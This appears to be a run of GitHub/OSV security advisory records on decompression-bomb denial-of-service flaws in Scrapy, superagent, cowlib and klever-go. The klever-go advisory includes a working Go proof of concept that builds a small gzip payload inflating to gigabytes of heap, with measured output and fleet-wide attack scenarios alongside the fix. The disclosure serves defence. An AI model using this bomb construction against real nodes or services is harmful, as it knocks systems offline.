    },
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/commit/809bfac4890f75fc73607318a04d2ccba71b3d9f"
    },
    {
      "type": "WEB",
      "url": "https://docs.scrapy.org/en/latest/news.html#scrapy-2-11-1-2024-02-14"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scrapy/scrapy"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/c4a0fac9-0c5a-4718-9ee4-2d06d58adabb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Scrapy decompression bomb vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "superagent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-16129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:23:56Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `superagent` do not check the post-decompression size of ZIP compressed HTTP responses prior to decompressing. This results in the package being vulnerable to a [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) attack, where an extremely small ZIP file becomes many orders of magnitude larger when decompressed. \n\nThis may result in unrestrained CPU/Memory/Disk consumption, causing a denial of service condition.\n\n\n## Recommendation\n\nUpdate to version 3.7.0 or later.",
  "id": "GHSA-8225-6cvr-8pqp",
  "modified": "2023-09-08T23:55:11Z",
  "published": "2018-08-09T20:13:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/visionmedia/superagent/issues/1259"
    },
    {
      "type": "WEB",
      "url": "https://en.wikipedia.org/wiki/Zip_bomb"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8225-6cvr-8pqp"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/479"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "superagent vulnerable to zip bomb attacks"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "cowlib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "2.16.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43970"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T20:12:01Z",
    "nvd_published_at": "2026-05-13T19:17:25Z",
    "severity": "HIGH"
  },
  "details": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in ninenines cowlib allows unauthenticated remote denial of service via memory exhaustion.\n\ncow_spdy:inflate/2 in cowlib passes peer-supplied compressed bytes directly to zlib:inflate/2 with no output size bound. The SPDY header compression dictionary (?ZDICT) is public, and zlib compresses long runs of repeated bytes at roughly 1024:1, so a few kilobytes of SPDY frame payload can decompress to gigabytes on the BEAM heap, OOM-killing the node. A single unauthenticated SPDY frame is sufficient to trigger the condition. The parsers for syn_stream, syn_reply, and headers frame types are all affected via cow_spdy:parse_headers/2.\n\nThis issue affects cowlib from 0.1.0 before 2.16.1.",
  "id": "GHSA-84f2-rp86-235p",
  "modified": "2026-05-19T20:12:01Z",
  "published": "2026-05-13T21:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43970"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ninenines/cowlib/commit/16aad3fb9f81f5cda4d1706ff0c54237c619c282"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-43970.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ninenines/cowlib"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-43970"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "cowlib: Decompression Bomb in cow_spdy:inflate/2 Allows Memory Exhaustion via Crafted SPDY Frame"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-13T01:36:27Z",
    "nvd_published_at": "2026-05-29T18:17:09Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA remote, unauthenticated denial-of-service vulnerability in\n`Batch.Decompress` (`data/batch/batch.go`) allows any peer that\nparticipates in a topic served by `MultiDataInterceptor` to allocate\nmulti-gigabyte heaps on the receiving node from a sub-50 KiB gossip\npayload. A single packet is sufficient to OOM-kill a validator with\nconventional memory provisioning. Fleet-wide application affects chain\nliveness.\n\nThe vulnerability was identified during an internal security review of\n`core/process/interceptors/multiDataInterceptor.go` at commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`. It is distinct from, and\nsubstantially more severe than, the throttler-slot-leak vulnerability\ndisclosed in `GHSA-74m6-4hjp-7226`. Both reports cover adjacent code in\nthe same call path; the patches must land together in one release\n(rc2 superseding rc1).\n\nTwo additional, lower-severity hardening issues affecting the same code\npath are documented in this report and remediated by the same patch.\nThey are not independently exploitable under the default deployed\nanti-flood configuration and are not requested as separate CVEs.\n\n## Description\n\n`MultiDataInterceptor.ProcessReceivedMessage`\n(`core/process/interceptors/multiDataInterceptor.go:79`) handles every\ngossip message received on the topics the interceptor is registered for.\nAt lines 95\u2013102 it conditionally decompresses the payload via\n`Batch.Decompress`:\n\n```go\nif b.IsCompressed {\n    err = b.Decompress(mdi.marshalizer)\n    if err != nil { ... return err }\n}\n```\n\n`Batch.Decompress` (`data/batch/batch.go:109`) delegates the gzip step to\n`decompressGzip` (`data/batch/batch.go:35-53`), which performs an\nunbounded `io.ReadAll` on the gzip reader:\n\n```go\nfunc decompressGzip(data []byte) ([]byte, error) {\n    rdata := bytes.NewReader(data)\n    reader, err := gzip.NewReader(rdata)\n    if err != nil { return nil, err }\n    result, err := io.ReadAll(reader)   // no LimitReader, no DataSize check\n    ...\n}\n```\n\nAfter the gzip step succeeds, `Decompress` re-`Unmarshal`s the inflated\nbytes back into the `Batch` value, again with no size cap. The\nattacker-set `ba.DataSize` field is never validated on decompression, so\nthe lie is free.\n\nThe order of operations in `ProcessReceivedMessage`:\n\n```\npreProcessMessage              -\u003e anti-flood by COMPRESSED size only\nmarshalizer.Unmarshal(\u0026b, ..)  -\u003e outer Batch (small, cheap)\nb.Decompress(...)              -\u003e UNBOUNDED here  (bomb explodes)\n... b.Data populated with N entries ...\nantiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...)\n```\n\nThe count-budget anti-flood check at line 111 runs *after* `Decompress`\ncompletes, so no anti-flood configuration can prevent the explosion. The\nonly gate above `Decompress` is `preProcessMessage`\u0027s byte budget, which\nsees only the *compressed* payload size and is trivially satisfied by a\nsub-MB bomb.\n\n## Proof of Concept\n\nThe PoC is a self-contained Go test that exercises the real\n`data/batch.Batch.Decompress` function and the production\n`factory.ProtoMarshalizer`. No mocks. Both the attacker-side construction\n(marshal a `Batch` of millions of empty entries, gzip, wrap in an outer\ncompressed `Batch`) and the receiver-side path (`mrs.Unmarshal` \u2192 \n`received.Decompress(mrs)`) are exactly what runs in production at the\nreviewed commit.\n\nThe headline test (`TestC2_DecompressionBomb_ValidInner`) constructs a\n~48 KiB outer wire payload that decompresses to 25 million `[]byte`\nentries, and samples `runtime.HeapAlloc` every 5 ms during `Decompress`\nto capture the peak (since the inflated buffer is freed once `Decompress`\nreturns).\n\n### Test source\n\nPlace the file under `playground/p2pflood/c2_decompression_bomb_test.go`\nin a checkout of the reviewed commit, then run:\n\n```\ngo test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/...\n```\n\n```go\npackage p2pflood_test\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"runtime\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/klever-io/klever-go/data/batch\"\n\t\"github.com/klever-io/klever-go/tools/marshal/factory\"\n)\n\nconst inflatedSize = 256 \u003c\u003c 20 // 256 MiB\n\n// buildGzipOfZeros: streams `size` zero bytes through a gzip writer.\n// A real attacker produces this offline; the streaming form here keeps\n// the test\u0027s own attacker-side allocation small.\nfunc buildGzipOfZeros(t *testing.T, size int) []byte {\n\tt.Helper()\n\tvar buf bytes.Buffer\n\tgz := gzip.NewWriter(\u0026buf)\n\tchunk := make([]byte, 1\u003c\u003c20)\n\tfor written := 0; written \u003c size; {\n\t\tn := len(chunk)\n\t\tif size-written \u003c n {\n\t\t\tn = size - written\n\t\t}\n\t\tif _, err := gz.Write(chunk[:n]); err != nil {\n\t\t\tt.Fatalf(\"gzip write: %v\", err)\n\t\t}\n\t\twritten += n\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gzip close: %v\", err)\n\t}\n\treturn buf.Bytes()\n}\n\n// peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and\n// returns (peak, baseline). In-flight sampling is required because\n// Decompress\u0027s internal allocations may be reclaimed by GC before the\n// function returns.\nfunc peakHeapDuring(fn func()) (peak, baseline uint64) {\n\truntime.GC()\n\tvar ms runtime.MemStats\n\truntime.ReadMemStats(\u0026ms)\n\tbaseline = ms.HeapAlloc\n\n\tvar stop atomic.Bool\n\tpeakPtr := new(atomic.Uint64)\n\tpeakPtr.Store(baseline)\n\tdone := make(chan struct{})\n\tgo func() {\n\t\tticker := time.NewTicker(5 * time.Millisecond)\n\t\tdefer ticker.Stop()\n\t\tvar s runtime.MemStats\n\t\tfor !stop.Load() {\n\t\t\truntime.ReadMemStats(\u0026s)\n\t\t\tcur := s.HeapAlloc\n\t\t\tfor {\n\t\t\t\told := peakPtr.Load()\n\t\t\t\tif cur \u003c= old || peakPtr.CompareAndSwap(old, cur) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\t\u003c-ticker.C\n\t\t}\n\t\tclose(done)\n\t}()\n\n\tfn()\n\n\tstop.Store(true)\n\t\u003c-done\n\treturn peakPtr.Load(), baseline\n}\n\n// TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration.\n// All-zeros inflated payload; inner Unmarshal-after-decompress fails,\n// but the gzip output buffer is already allocated.\nfunc TestC2_DecompressionBomb_RawZeros(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tbombStream := buildGzipOfZeros(t, inflatedSize)\n\n\tbomb := \u0026batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       bombStream,\n\t\tDataSize:     1, // a lie \u2014 Decompress ignores it\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal: %v\", err)\n\t}\n\n\tt.Logf(\"  wire payload (after Marshal): %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  advertised DataSize:          %d\", bomb.DataSize)\n\tt.Logf(\"  actual decompressed size:     %d bytes (%.2f MiB)\",\n\t\tinflatedSize, float64(inflatedSize)/(1\u003c\u003c20))\n\n\tbomb = nil\n\tbombStream = nil\n\truntime.GC()\n\n\treceived := \u0026batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\tif !received.IsCompressed {\n\t\tt.Fatalf(\"expected IsCompressed=true after outer unmarshal\")\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress error: %v (irrelevant \u2014 heap already allocated)\", decompressErr)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1\u003c\u003c20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -\u003e heap)\", amp)\n\n\tif allocated \u003c uint64(inflatedSize/2) {\n\t\tt.Fatalf(\"heap delta only %.2f MiB \u2014 vuln may already be patched\",\n\t\t\tfloat64(allocated)/(1\u003c\u003c20))\n\t}\n\tif amp \u003c 100 {\n\t\tt.Fatalf(\"amplification only %.1fx \u2014 expected \u003e\u003e100x\", amp)\n\t}\n}\n\n// TestC2_DecompressionBomb_ValidInner: realistic ceiling \u2014 gzip stream\n// decompresses to a valid marshaled Batch with N=25M empty entries.\n// Decompress\u0027s internal Unmarshal succeeds and additionally allocates\n// the [][]byte slice. All before any count-based anti-flood runs.\nfunc TestC2_DecompressionBomb_ValidInner(t *testing.T) {\n\tmrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer)\n\tif err != nil {\n\t\tt.Fatalf(\"marshalizer: %v\", err)\n\t}\n\n\tconst N = 25_000_000\n\n\tinnerBatch := \u0026batch.Batch{Data: make([][]byte, N)}\n\tinnerWire, err := mrs.Marshal(innerBatch)\n\tif err != nil {\n\t\tt.Fatalf(\"inner marshal: %v\", err)\n\t}\n\tinnerBatch = nil\n\truntime.GC()\n\n\tvar compressed bytes.Buffer\n\tgz := gzip.NewWriter(\u0026compressed)\n\tif _, err := gz.Write(innerWire); err != nil {\n\t\tt.Fatalf(\"gz write: %v\", err)\n\t}\n\tif err := gz.Close(); err != nil {\n\t\tt.Fatalf(\"gz close: %v\", err)\n\t}\n\tinnerWireLen := len(innerWire)\n\tinnerWire = nil\n\truntime.GC()\n\n\tbomb := \u0026batch.Batch{\n\t\tIsCompressed: true,\n\t\tAlgo:         batch.CType_GZip,\n\t\tStream:       compressed.Bytes(),\n\t\tDataSize:     1,\n\t}\n\twire, err := mrs.Marshal(bomb)\n\tif err != nil {\n\t\tt.Fatalf(\"outer marshal: %v\", err)\n\t}\n\tt.Logf(\"  inner wire (uncompressed):    %d bytes (%.2f MiB)\",\n\t\tinnerWireLen, float64(innerWireLen)/(1\u003c\u003c20))\n\tt.Logf(\"  outer wire (gzip-wrapped):    %d bytes (%.2f KiB)\",\n\t\tlen(wire), float64(len(wire))/1024.0)\n\tt.Logf(\"  inner -\u003e outer compression:   %.0fx\",\n\t\tfloat64(innerWireLen)/float64(len(wire)))\n\n\tbomb = nil\n\tcompressed.Reset()\n\truntime.GC()\n\n\treceived := \u0026batch.Batch{}\n\tif err := mrs.Unmarshal(received, wire); err != nil {\n\t\tt.Fatalf(\"receiver outer unmarshal: %v\", err)\n\t}\n\n\tstart := time.Now()\n\tvar decompressErr error\n\tpeak, baseline := peakHeapDuring(func() {\n\t\t// Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the\n\t\t// count-budget anti-flood at line 111.\n\t\tdecompressErr = received.Decompress(mrs)\n\t})\n\telapsed := time.Since(start)\n\n\tallocated := peak - baseline\n\tamp := float64(allocated) / float64(len(wire))\n\tt.Logf(\"  Decompress returned: %v\", decompressErr)\n\tt.Logf(\"  Decompressed b.Data length: %d (matches N=%d? %v)\",\n\t\tlen(received.Data), N, len(received.Data) == N)\n\tt.Logf(\"  peak heap during Decompress: +%d bytes (%.2f MiB)\",\n\t\tallocated, float64(allocated)/(1\u003c\u003c20))\n\tt.Logf(\"  elapsed: %v\", elapsed)\n\tt.Logf(\"  amplification: %.0fx (wire -\u003e heap)\", amp)\n\n\tif decompressErr != nil {\n\t\tt.Fatalf(\"Decompress unexpectedly failed: %v\", decompressErr)\n\t}\n\tif len(received.Data) != N {\n\t\tt.Fatalf(\"inner Unmarshal lost entries: got %d want %d\",\n\t\t\tlen(received.Data), N)\n\t}\n\tif allocated \u003c 256\u003c\u003c20 {\n\t\tt.Fatalf(\"heap delta only %.2f MiB \u2014 expected \u003e256 MiB\",\n\t\t\tfloat64(allocated)/(1\u003c\u003c20))\n\t}\n\truntime.KeepAlive(received)\n}\n```\n\n### Measured output\n\nApple-silicon dev machine, `go 1.25`, against commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`:\n\n```\n=== RUN   TestC2_DecompressionBomb_RawZeros\n      wire payload (after Marshal): 260938 bytes (254.82 KiB)\n      advertised DataSize:          1\n      actual decompressed size:     268435456 bytes (256.00 MiB)\n      Decompress error: proto: cannot parse invalid wire-format data (irrelevant \u2014 heap already allocated)\n      peak heap during Decompress: +887994584 bytes (846.86 MiB)\n      elapsed: 155.79ms\n      amplification: 3403x (wire -\u003e heap)\n--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)\n\n=== RUN   TestC2_DecompressionBomb_ValidInner\n      inner wire (uncompressed):    50000000 bytes (47.68 MiB)\n      outer wire (gzip-wrapped):    48642 bytes (47.50 KiB)\n      inner -\u003e outer compression:   1028x\n      Decompress returned: \u003cnil\u003e\n      Decompressed b.Data length: 25000000 (matches N=25000000? true)\n      peak heap during Decompress: +2218262232 bytes (2115.50 MiB)\n      elapsed: 582.92ms\n      amplification: 45604x (wire -\u003e heap)\n--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)\n```\n\nReproduction: any commit that includes `data/batch/batch.go` in its\ncurrent `decompressGzip`/`Decompress` form. The PoC does not depend on\nlibp2p, the live interceptor stack, or any deployed configuration \u2014 the\nbug is in `Batch.Decompress` itself; any caller that reaches it pays\nfor the unbounded allocation.\n\nThe PoC sources (along with a companion test for the bundled\nslice-prealloc finding) live under `playground/p2pflood/` on the\nmaintainer\u0027s local workstation and have not been pushed to any branch.\nThey will be converted into a regression-test suite alongside the patch\nin the private fork.\n\n## Impact\n\nA single connected peer publishing on a topic served by\n`MultiDataInterceptor` (which on a public chain includes any anonymous\ngossip publisher) can cause the receiving node to allocate 2+ GiB of\nheap in under one second per packet.\n\nWith the default deployed configuration\n(`peerMaxInput.totalSizePerInterval: 4194304` = 4 MiB/s per peer), an\nattacker can ship roughly 80 such bombs per second per connected peer\nbefore tripping the per-peer byte budget. The per-peer message count\nlimit (`baseMessagesPerInterval: 140` per fastReacting interval, 1000\nbefore blacklisting) is high enough to permit the attack to run for\nseveral seconds before any blacklist activates. By that point the node\nprocess is already OOM-killed.\n\nRealistic attack scenarios:\n\n* A single attacker connected to one validator can OOM that validator\n  in under a second (one bomb suffices on memory-constrained nodes).\n* A small number of malicious peers spread across the validator fleet\n  can OOM the entire fleet within a single block-production interval,\n  affecting chain liveness.\n* Eclipse-attack composition: the cost is paid before any peer\n  reputation logic runs, so the attack works regardless of whether the\n  receiver attributes the message to originator or relayer.\n\n## Affected Code\n\n* `data/batch/batch.go:35-53`   \u2014 `decompressGzip`, unbounded `io.ReadAll`\n* `data/batch/batch.go:109-137` \u2014 `Batch.Decompress`, ignores `DataSize`,\n                                   re-`Unmarshal`s inflated bytes\n* `core/process/interceptors/multiDataInterceptor.go:95-102` \u2014 call site\n* `core/process/interceptors/multiDataInterceptor.go:84-94`  \u2014 preceding\n                                   `Unmarshal` step\n\n## Patches\n\nA patch is in preparation on a private branch and will land in rc2,\ntogether with the fix for `GHSA-74m6-4hjp-7226`. The intended fix\nshape:\n\n```go\nconst maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic\n\nfunc decompressGzip(data []byte, max int64) ([]byte, error) {\n    r, err := gzip.NewReader(bytes.NewReader(data))\n    if err != nil { return nil, err }\n    defer r.Close()\n    lr := io.LimitReader(r, max+1)\n    out, err := io.ReadAll(lr)\n    if err != nil { return nil, err }\n    if int64(len(out)) \u003e max {\n        return nil, ErrDecompressionTooLarge\n    }\n    return out, nil\n}\n\nfunc (ba *Batch) Decompress(m marshal.Marshalizer) error {\n    if !ba.IsCompressed { return common.ErrNotCompressed }\n    if ba.DataSize \u003e maxInflatedBatch {\n        return ErrDecompressionTooLarge\n    }\n    result, err := decompressGzip(ba.Stream, maxInflatedBatch)\n    if err != nil { return err }\n    if int64(len(result)) != int64(ba.DataSize) \u0026\u0026 ba.DataSize \u003e 0 {\n        return ErrDecompressedSizeMismatch\n    }\n    if err := m.Unmarshal(ba, result); err != nil { return err }\n    ba.Stream, ba.IsCompressed = nil, false\n    return nil\n}\n```\n\nThe cap value should be selected per topic. A 64 MiB ceiling preserves\nbackward compatibility for legitimate large batches while reducing the\nworst-case allocation by \u224830\u00d7 relative to the measured PoC and \u2248400\u00d7\nrelative to the upper bound of an uncapped attack.\n\nA regression test based on the PoC will accompany the patch.\n\n## Workarounds\n\nNone at the configuration level. The `peerMaxInput.totalSizePerInterval`\nbudget could theoretically be lowered, but as the PoC measurements show,\na single bomb is already lethal on memory-constrained nodes. Patch is\nrequired.\n\n## Bundled Hardening (no separate CVE)\n\nThe following two issues were identified in the same call path during\nthe review. They are not independently exploitable under the default\ndeployed `defaultMaxMessagesPerSec: 35000` per-topic anti-flood limit\nand so do not warrant their own CVEs. They are remediated by the same\npatch as the headline vulnerability and are documented here for\ntransparency.\n\n### Bundled #1 \u2014 Slice pre-allocation amplification (CWE-789, CWE-770)\n\n`multiDataInterceptor.go:123` performs:\n\n```go\nlistInterceptedData := make([]process.InterceptedData, len(multiDataBuff))\n```\n\n`len(multiDataBuff)` is `len(b.Data)` after `Unmarshal` and `Decompress`,\nboth of which are attacker-controlled. Under the default per-topic\ncount budget this is bounded; a deployer who loosens that budget, or\nany future code path that bypasses it, would expose \u224816 bytes \u00d7\nattacker-chosen-N of allocation. The same patch caps `len(b.Data)`\nimmediately after `Unmarshal`, again after `Decompress`, and before the\nmake.\n\nThe unconditional component of this finding \u2014 that `Decompress`\u0027s\ninternal `Unmarshal` populates `b.Data` with N `[]byte` slice headers\n(24 B each) before any count-budget check runs \u2014 is captured by the\nheadline finding\u0027s PoC.\n\n### Bundled #2 \u2014 Self-message anti-flood bypass (CWE-290, CWE-693)\n\n`baseDataInterceptor.go:32` exempts messages from anti-flood enforcement\nwhen:\n\n```go\nbytes.Equal(m.Signature(), m.From()) \u0026\u0026\nbytes.Equal(m.From(), bdi.currentPeerID.Bytes()) \u0026\u0026\nfromConnectedPeer == bdi.currentPeerID\n```\n\nThe first equality is a sentinel byte comparison, not a cryptographic\ncheck. Exploitability depends on whether the upstream libp2p stack\nverifies envelope signatures before reaching `preProcessMessage`. The\npatch replaces the sentinel with a defense-in-depth check and ensures\nthrottler accounting still runs on the self-message path.\n\n## Coordination with `GHSA-74m6-4hjp-7226`\n\nThe maintainer team is concurrently handling `GHSA-74m6-4hjp-7226`,\nwhich discloses an adjacent throttler-slot-leak finding in the same\n`ProcessReceivedMessage` function. The two CVEs are independently\nfixable per CNA Operational Rules, but operationally the patches must\nland in one release. rc2 will supersede rc1 and contain fixes for both\nadvisories. Validators upgrade once.\n\n\n## Credits\n\nFernando Sobreira (maintainer, internal security review).\n\n## References\n\n* Reviewed commit: `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`\n* Related advisory: `GHSA-74m6-4hjp-7226`\n* CWE-409: https://cwe.mitre.org/data/definitions/409.html\n* CWE-770: https://cwe.mitre.org/data/definitions/770.html",
  "id": "GHSA-87m7-qffr-542v",
  "modified": "2026-07-21T13:53:46Z",
  "published": "2026-05-13T01:36:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-87m7-qffr-542v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44697"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload"
}